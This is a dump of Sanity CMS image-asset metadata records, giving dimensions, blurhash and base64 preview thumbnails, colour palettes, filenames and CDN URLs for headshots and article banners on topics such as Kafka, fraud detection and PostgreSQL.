{"_createdAt":"2024-07-17T09:30:57Z","_id":"image-f49448cc6ccfc2f93c9f97e1d7cfe0855d958c8b-350x350-jpg","_rev":"Gc7Qq2PHZBylrD6rwN9up5","_type":"sanity.imageAsset","_updatedAt":"2024-08-02T08:11:10Z","altText":"Dave Li","assetId":"f49448cc6ccfc2f93c9f97e1d7cfe0855d958c8b","description":null,"extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eEC~SI9Z02?b-74.%MoJIoxu0~ae~AM|NGM|WraxxZRjWBkCxtaKSh","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":350,"width":350},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGAABAAMBAAAAAAAAAAAAAAAAAAMGCAf/xAAjEAABBAEDBQEBAAAAAAAAAAABAAIDBAUGERITITFBUQdC/8QAFQEBAQAAAAAAAAAAAAAAAAAABAP/xAAbEQADAQADAQAAAAAAAAAAAAAAAQMCERIxMv/aAAwDAQACEQMRAD8AzvgsW/L5GOrG9rC7+neAr3n/AM2djNNOyENqGyW93cD3aqzoGeOHUEYmDSHjYB3glaGsV2XNJ5KvUrRPtyRHg0fdkStN5qkvBkY41J6fplcjbsintRSQWZIpmlkrHFrmn0USwReqWEowU47DIz1mt5BxPtdE01enipAxu2J8oiDy+wpfJBm9F4bK33XLMLxNKA5/TdxBP3ZERMRA/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#504330","foreground":"#fff","population":1.56,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#51200b","foreground":"#fff","population":0.08,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#e8b99e","foreground":"#000","population":3.55,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cdb5a3","foreground":"#000","population":1.63,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e8b99e","foreground":"#000","population":3.55,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b46464","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b47434","foreground":"#fff","population":0.1,"title":"#fff"}}},"mimeType":"image/jpeg","opt":{"media":{"tags":[{"_ref":"yPSJChxxML0IGsXeJoKtjG","_type":"reference","_weak":true}]}},"originalFilename":"dave-li.jpg","path":"images/sczeoy4w/production/f49448cc6ccfc2f93c9f97e1d7cfe0855d958c8b-350x350.jpg","sha1hash":"f49448cc6ccfc2f93c9f97e1d7cfe0855d958c8b","size":52868,"title":null,"uploadId":"V1y3auxQwll4zneqipwwzzml4mMS6Tk6","url":"https://cdn.sanity.io/images/sczeoy4w/production/f49448cc6ccfc2f93c9f97e1d7cfe0855d958c8b-350x350.jpg"} {"_createdAt":"2024-07-24T10:02:15Z","_id":"image-b2588501aa5a76154dc2edef890aeb1606aa6c70-1200x628-png","_rev":"mr6Ps1Vz8WkVL9G5VcX2hX","_type":"sanity.imageAsset","_updatedAt":"2024-07-24T10:02:31Z","altText":null,"assetId":"b2588501aa5a76154dc2edef890aeb1606aa6c70","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M49GLv1o^9*^1S?sTh]K16]NvwJG$vXBRi","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAAChElEQVQokW3RyU5TARTG8T6Aona4nette+lMWwqF0gFabqGIArVlCAFEFFFQQGihFEQDIkgwLJBo4rBRYmI00QUxcXgBd77R37SYuGFxkrP65XzfUSh1ecz2EVz+KbwNd/E1zuNvKuCuL2D1LGB2LKKzLaK1FdFLZQzSKlpxHrV5Gp97hlImy+eRJrb6crRFNlCoTUN4glPE5SUS6RWiqTKprkfI3VskM09oat1E8pcxOUuYnGsYpBU0lmlUpluEfTc4zMb4c9vC++FW+hLLKATLMKGWWbqzj+jObpDMPCB9eZO+gT16B/bp6NkjJu8QbtsmENlG9KxWQbX5DnWee6xcyvN1PM6z/kHSsU0UKuMQrsAU0VSRWPsywcgigebK/pC4vElL6jHxjqckOvcIt+5i860jiHNoxHlE1zptsV1GLu/T0/kCf/NrFDVCPxVUbx3FYBtHJ06gs05iqp3B4pjH4ixg9Zaw161h8z3EXIltK2C0FxG9O/haPhCWvxNKHuNuPkJxRp2jOpp+arRDnNePojRcR2WarBYvXJxFEBdOnmIvY3OUiHnv0BsYJ9NYIpI4ojH9i/rktxPwrCbHOSHPBd0gSsMwSuMYSuMEavOtaldacQ6tdQG9fQm9tIrfXWCp+Qqf2gPsp7L0pV4STv/8D14QclgMeez2EUTnDXTWCVSmykxWwUpfJ2ARnbRK0LPATkzmd9dFjjpkBtsPCMs/CLYd42p6h0IlXEUy5/C6xnD4pjBKN08Fdf8u9LmLzIQHeN6aZDk+hhw/JJD4gjf6kdrQGxQ1mhwqbQ7BOITGPIrKdK0a+XSwjN1ZJlp3n0xwjnhwHW/oAEfDW6TQK2yBF/wFtTppTYB9cBMAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c4572","foreground":"#fff","population":0.87,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#141d6c","foreground":"#fff","population":10.55,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#141d6c","foreground":"#fff","population":10.55,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8b94c1","foreground":"#000","population":0.13,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d8815a","foreground":"#000","population":9.99,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4c5c8d","foreground":"#fff","population":0.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3545bc","foreground":"#fff","population":7.35,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"Workshop-KafkaPython-unnamed 1200x628.png","path":"images/sczeoy4w/production/b2588501aa5a76154dc2edef890aeb1606aa6c70-1200x628.png","sha1hash":"b2588501aa5a76154dc2edef890aeb1606aa6c70","size":142730,"title":null,"uploadId":"8kS0ub3uR2oQmP6SOV02WvK3cH5KbI6D","url":"https://cdn.sanity.io/images/sczeoy4w/production/b2588501aa5a76154dc2edef890aeb1606aa6c70-1200x628.png"} {"_createdAt":"2024-11-04T14:20:46Z","_id":"image-097aff31f85c3498381115b1d03cb11950b9ab27-1908x1830-png","_rev":"U360V83F77Z1JcZt4QLs4E","_type":"sanity.imageAsset","_updatedAt":"2024-11-04T14:20:46Z","assetId":"097aff31f85c3498381115b1d03cb11950b9ab27","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eHH.B6ogEK%L9F?vIUM{bEo08^%Nx]Rjoz~qoek9WAay4mD*M{ogoL","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.042622950819672,"height":1830,"width":1908},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,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","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#303660","foreground":"#fff","population":0.49,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0e144f","foreground":"#fff","population":9.46,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#0e144f","foreground":"#fff","population":9.46,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a8b0cd","foreground":"#000","population":0.68,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ec69c9","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#616793","foreground":"#fff","population":1.21,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f4ca32","foreground":"#000","population":0.38,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"credit scoring.png","path":"images/sczeoy4w/production/097aff31f85c3498381115b1d03cb11950b9ab27-1908x1830.png","sha1hash":"097aff31f85c3498381115b1d03cb11950b9ab27","size":240953,"uploadId":"2JnqaRWQvvZx4ot3QlROYV6bhSpuXc7D","url":"https://cdn.sanity.io/images/sczeoy4w/production/097aff31f85c3498381115b1d03cb11950b9ab27-1908x1830.png"} {"_createdAt":"2024-11-04T14:15:14Z","_id":"image-1489f2b269a015aa3538a468809386c30dd28f16-1600x1152-png","_rev":"4qiJ1B4HOcJb1a1kjwQliG","_type":"sanity.imageAsset","_updatedAt":"2024-11-04T14:15:14Z","assetId":"1489f2b269a015aa3538a468809386c30dd28f16","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VUIhU1i_X3RPNLxaaKRiR*ogo}E1j?jZjI~qS#R%e.sp","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.3888888888888888,"height":1152,"width":1600},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAOCAYAAAAvxDzwAAAACXBIWXMAABYlAAAWJQFJUiTwAAAEdklEQVR4nC3Ja0wTdwAA8NsyY2KMWzTRZNHJmE+g04EIouK0giBokEXcApMNBUSQKaLiIvJh8zXdsOpEZpwM53RMYSAUlXfRMkrptLZSjj6u9/7fu73SQtvsliX79PvwgxRFeUNRlLcU5Z+ZiqLM/N8ZNC1F0szUaXpMMBBdDpgcwiwU5rlJML5Ytzvw353iGWxYxHWwQJgtNBBuOVBpLQQAmC0IgooDXCpFCRkSJ6XIPB8DRN9qhgtdIgzA5bhu8KIPrCI1IWpJIZiM41PLOSl0QeatTj/2s8eDaUWWYTpht5QCkU5yMeoij8Iw1mqzuXsRhGoGBDhEsfIWkpm+grzgacsf1vD4E0cQmZAGEDqgdpFTK4EQqhU4lGSQxyEKGQ6StKQbRzwZEIZhC1EbWjqmH2u3dpuNDqO9hUbo/SYTvOlpv+1KTx9MP9a+Cnd0mEOdTy0DHR2mFJ3OEjU0gtQ+N8BU34Ap3KMzh3R6u66r93UGRBiJWWNNepWpuq3KXPngnvNsWznbaVh+4kS9qqBYoymruElVnLwdLK34aaqg+HJ/Qe43qQf3no8+WF5XW1HVQFV+3Rg6fPxWsLi8TpdfdDEDUmqUN1tW1b7TveXHLP32utOvMjWpyu6a2WtV+xfGJZYe2qiubNmadqI3eevRrrjEsssfxXy+RrU0OzI6trhyo/p497Yd1cbklMoRVXzxrfdX5m6EjEbjDLzr9TzTuUerzNXNm2CNNkowGt+uOaSZk5N3MebLwovpJSUXsvYVnduxK6cmUa2umjd3Sdqc91bkxsatK8tKUh/bsyapbM8yVYF63qKd70IOB73A6mLSnRhdLLBsqc/nKfD6vcmC4F/M8/4kAXjyAUyW0E6+EIDANopS5mu12pmtrUMLmpuHlzW3j6580GZcca/FsKi+vm0WNI6D1aNO5rqNkF4Ikvx6aiowHAgEznKSvFWQglW8k9fh/TYLOoK/JLDJ2xg1mUDZ7fMBkLYxvL+CZHynCOA/SbNyLiWKERBGc4mvCLHVwfomPT5/ODg9LQYCgUZOnMxm+ela1gZIpN0UdgzaQxjiG3ShUhpA0SW86KkUPP4uwAdGAB/4i5P89QCAJMg8ga/T2cnWUZSdJFkxLHt9oiTJjRgpZiO4t9Y1wZLW53DYOoqGYLvw3D6Obces9qU4EI/hpKcXJb2jGCEPk0Cux3F6HXT7fl/itaa+1oZH+sn2LmO4u8ckdj41/tL0cHDX3aahH+43D5N3f9eH7tx/Fmz8bfBZQ8OT9JeGseV2hKuGneII7JLGHYjX4sblRodb2ABl7qqO/yTv/N19ZdeIsiM3uKLSq0hO3rm61PRTmZnZ3575NP97294iDftZ/iVm5+4z2rTManVf398RToQvnHB5foVdnj+dbvkhgstnx+zkGmhhZE5M1OrC75I2H+3fnHZSH7/hSE9k1Bc1Cxbv+Tg69sDhuPXljxM2Vejj13/1LDr2wI2IpXkJGs2dOTDs/sCFcYlut7CBIPj1GCZ8aLGgc/8FHKPyvw+SW0EAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#30355f","foreground":"#fff","population":0.32,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#18226e","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#676d94","foreground":"#fff","population":1.04,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a8b1ca","foreground":"#000","population":0.6,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ee66c9","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#676d94","foreground":"#fff","population":1.04,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f4c82f","foreground":"#000","population":0.71,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"fraud detection.png","path":"images/sczeoy4w/production/1489f2b269a015aa3538a468809386c30dd28f16-1600x1152.png","sha1hash":"1489f2b269a015aa3538a468809386c30dd28f16","size":178445,"uploadId":"WtPFtDz4l3TYCBosi02VqjUg1VkB9DdB","url":"https://cdn.sanity.io/images/sczeoy4w/production/1489f2b269a015aa3538a468809386c30dd28f16-1600x1152.png"} {"_createdAt":"2024-07-25T20:07:04Z","_id":"image-e39cee78f5b24bf9035f84d4bcb79e09343b646d-1200x630-png","_rev":"7FkI54gkIoGjwSDu3axvx6","_type":"sanity.imageAsset","_updatedAt":"2024-07-25T20:07:13Z","altText":null,"assetId":"e39cee78f5b24bf9035f84d4bcb79e09343b646d","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MB7UV|-*ISV_Ri.AotM{bJayIURPt7t7ob","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACsklEQVQokTWT+08TWRSA5w9QLJ1nO48+RqSloJUCaQK4EbZhW6Z02srIArogCy6Fgg9wVZB1UZEqdo0hm6yb+K9+m7msP5zce5Ob737nnHuky1qdHr1BxAjojS8iW/dR7AeozgZ6soWR3iHmPiF+9RnmtZdY/Uc42WOcgROcgQ529j1m/2vifQciJNmax82tMljYZOBmi1xhh3xxnxtjv3N97AXD439QmDhmePwto7c6FG93Gf3hM/2FM5xcByvzToCM9B5G+imSnlxgbHKXmeoht386YKp8xGz9BK/5gbL/gdlGF+/OF7w75/g//8P8vW/4C98oTp3j3viIlXmD4e6jJdtoyR0kxQ4ojLeZmXtFyTtipvonXvMUPzijFnSZbXaZC77gL/xNY/Ertbv/Ug2+Mu2dM1TsYGdeoaceC2BoKUXNefLFLUregQCWa2/wGu+p1Dt4zTMqjS7l+md+rP7FROkTI5MfGZk8pTDxmr7r+xjpNoqziZbYFqaihiFwqvyC6cohM3PHlP0TpitvKXmnVOpdStVPDE+8Iz0YNuQIu/85sfQWqr1K1PyF3vg9otYDAZUisSamu4ybW6Nv6CHZfJtc4TGZ/BOyN58xNHpAbuSQVO45sathvERP7SFbG0TNNWQ7XFfojd9HcX5D6tHq9OoN5FiAYi2hOiuo9pr4NlqihZ5qoye30RJb6KldYm6Y5h5qoiVCTz9FTWwRNVeFpRTVa7imT8Zd5NrgBuncJkZyHdlaR3U2xWVhEV9BttbEWU89QnVaKPZDtOSu2Idp9+gBkmLUyDo18pklhoZbZPJt4u4Gin0BDOsi2+tEYktEYotirya2Uf5PVbZ+FXYhLBwSqUfzUYw6mhmgO8toiRUxKd8NtcRFFyPxZQEMrUJgaHvxyBJXjAUuaw0uqT7/AesXgSmutNmCAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#363169","foreground":"#fff","population":0.14,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#131d6c","foreground":"#fff","population":13.84,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#131d6c","foreground":"#fff","population":13.84,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#989dc7","foreground":"#000","population":1.09,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#afb7d9","foreground":"#000","population":0.44,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#686e94","foreground":"#fff","population":1.3,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c04146","foreground":"#fff","population":0.22,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"Don’t Buy the Hype: The GenAI Power You Already Have","path":"images/sczeoy4w/production/e39cee78f5b24bf9035f84d4bcb79e09343b646d-1200x630.png","sha1hash":"e39cee78f5b24bf9035f84d4bcb79e09343b646d","size":165840,"title":null,"uploadId":"l6T5SAeWRCg556E2tzlJ5sOgZkqZWlrC","url":"https://cdn.sanity.io/images/sczeoy4w/production/e39cee78f5b24bf9035f84d4bcb79e09343b646d-1200x630.png"} {"_createdAt":"2024-07-29T08:28:45Z","_id":"image-93461f6924587ba7e0589880260cb3ca7763545b-1200x628-png","_rev":"O3DLOoQbsVaTpwy5wA6mBI","_type":"sanity.imageAsset","_updatedAt":"2024-07-29T08:29:11Z","altText":null,"assetId":"93461f6924587ba7e0589880260cb3ca7763545b","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MCA+|K0v-9T4+WR#TN}i0*og-pi^JWw]xB","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACUElEQVQokWMQlYvUNEg3tSmwciyzcqy0cqqxdW2wcKhX16+UUimWVC6VVq2S1WhSNZqqa7PG3HljbED/lNSMA5Uht9s8GSTkow0tct18agLCWgPCOryD2j38260cG1X1yiWVEZpVDKfoWq80cVzv5zG5ITp/eU7cxqIoBjG5KH2zHBfvaq+ARk//Jg+/Fju3Rg2DMimVQgmlIknlMinVKjnNRjWjSYZ2y0wdVrnYTyjwym0LSS4OyGcQkAiVUY5T001V08tU08vWMMhX0SmQUs4VU8gTVyqSVAHZrKDdpG851dZjlZvPqiTXhm7noC7noBy7dAZe0WB+8RBByXAh6WhhmThR2SQxuTQx+WxxmGYp1SplvTYL53meIVsioza1BZdv9rRY5WLZaR8A0swrGsInFsovESkoFSssnSgikyomlyWumCenWqChXaitW6pv2u7kvSw4bl98yoHqiL7F3r6L3NxrHRLBNouFCEqGCUlHCUnHCsskisimisplSSvlmhlmRbumZPmmxPrVhkauiss4kZxzNiZyc4L7hESXHl/HmQyCYkGyUiFKSjHyakkSiolwzXIqub62qb1x4evyg+bl55bkrM4supRVci0w9oiV2zZz5+0mTtsZhMWDlGSDNdVjVbXTpJWTRWSSIJpllXP9bFPnpAZfaPA41pLaXb2uuOZ2Ue290MST5m67DB23GzhsYeAXCxaWCBGTCReTixGRjQfZLJMqJp8lqZhnY5IxKT7sdpvr1d7kqU2bKpsfVTQ9jUq7YOG+28B+i57tBgBlOb6cXgXXIgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#404374","foreground":"#fff","population":0.65,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#141d6c","foreground":"#fff","population":9.2,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#141d6c","foreground":"#fff","population":9.2,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a6a4c9","foreground":"#000","population":0.41,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f88e7","foreground":"#fff","population":1.49,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a27a8b","foreground":"#fff","population":0.19,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f8953c","foreground":"#000","population":1.21,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"PostgreSQL optimizer.png","path":"images/sczeoy4w/production/93461f6924587ba7e0589880260cb3ca7763545b-1200x628.png","sha1hash":"93461f6924587ba7e0589880260cb3ca7763545b","size":262555,"title":null,"uploadId":"YgV17WvDUSqE02CgYeXqrNnhPwrvY8PT","url":"https://cdn.sanity.io/images/sczeoy4w/production/93461f6924587ba7e0589880260cb3ca7763545b-1200x628.png"} {"_createdAt":"2024-07-31T22:14:04Z","_id":"image-fbf39479d7366f1eefc7bb332bc66858ff3dc8a0-395x395-png","_rev":"m47zVAKzspt7UjVx7wCBBh","_type":"sanity.imageAsset","_updatedAt":"2024-08-02T08:09:15Z","altText":"David Weiner","assetId":"fbf39479d7366f1eefc7bb332bc66858ff3dc8a0","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"e69H2_9F00_3~q?bRjD%t7ofRjofWBj[xu4nxu-;M{RjIUj[xuj[Rj","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":395,"width":395},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAIAAAAC64paAAAACXBIWXMAAAsTAAALEwEAmpwYAAADCklEQVQ4jYXS0UvyahwH8P6Bzp5tz57pFqHOrSxbTpjQCi0nJppFkivRhqWOKSQoJFgiVKwwL0K7KIiKoMugq7ruwpv+q8N5PcR5O3bO927wfPZ9fg+/sT/+FQAATdOTk5Mul0sQBK/XK8tyIBCYnp5GCGEY9nVy7JvEMIymaVEUI5FILBaLx+OpVErTtGQyqSiKy+UiCOJHjOO4x+PJ5XKWZfV6vX6/f3V1ZVlWo9HQdV1RFJZlv8q/Ywjh0tJSu91+eXn5+PgYDAZvb29PT0+3t7enp6epVIrneRzHf8TBYPDs7Oz19XUwGHx+fr6/vz88PNzc3FiWtbW1JQjCj5ggCL/fX6lUut3u3d3d4+Pj5eVlvV4/ODgoFovRaFQQhK+xR+CpqalYLJbJZPb39w3DSKfTiUQimUymUqm1tTVJkmiaHoExDEMIzc3Nra+v5/N5wzDK5fLu7m4ulysUCsP+5eVlhmGGb/a92WazLS4umqbZbDaPfqVSqZim2Wg0zs/Pm81mOBy22+3f8fAbIRQKharV6uHhYbVaLZfLOzs7mqYZhlGv1wuFgizLEMLRM5Mk6ff7s9lsqVQql8u1Ws0wjO3tbU3T0ul0JBLhOA4AMBoDADiOW11dLRaL7Xa73+93Op1qtZrJZFRVnZ2dRQj9z3r6fD5N046Pj7vd7snJiWma8XhckiSn00mS5I94uKEMw4iimEwmdV3PZrPRaNTr9fI8z3EcRVH/hQmCYBiG4ziPxzM/Py9JEs/zLMvyPD8zM2O320fPjGEYjuMIIa/Xq6pqMBgURZHneYfD4XK5RFEc3pyiKADA+Pj433jISJKkKIplWUVRDMOo1Wq6ricSCVVVw+HwysqKLMtut5thGAghAGAMwzAAwJDRNG2z2ViWDQQCw/XudDqtVqtWq5VKpY2NDZ/PNzExQdM0QghCOEYQBISQ/j1ut3tzc/Pi4uL+/v76+rrVau3t7YVCIafTiRCifuUvjBAaFn79D0KIEJJl+ejo6Pn5udfr5fP5hYUFh8PxT0mS5J+TkvMlZUJaNwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#444444","foreground":"#fff","population":1.83,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#424242","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#444444","foreground":"#fff","population":1.83,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cccccc","foreground":"#000","population":0.66,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7c7c7c","foreground":"#fff","population":1.47,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f7f7f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":[{"_ref":"yPSJChxxML0IGsXeJoKtjG","_type":"reference","_weak":true}]}},"originalFilename":"david-weiner.png","path":"images/sczeoy4w/production/fbf39479d7366f1eefc7bb332bc66858ff3dc8a0-395x395.png","sha1hash":"fbf39479d7366f1eefc7bb332bc66858ff3dc8a0","size":178098,"title":null,"uploadId":"6v3AkmF33YjBcm8xwt0kqr8KsR4mkDpb","url":"https://cdn.sanity.io/images/sczeoy4w/production/fbf39479d7366f1eefc7bb332bc66858ff3dc8a0-395x395.png"} 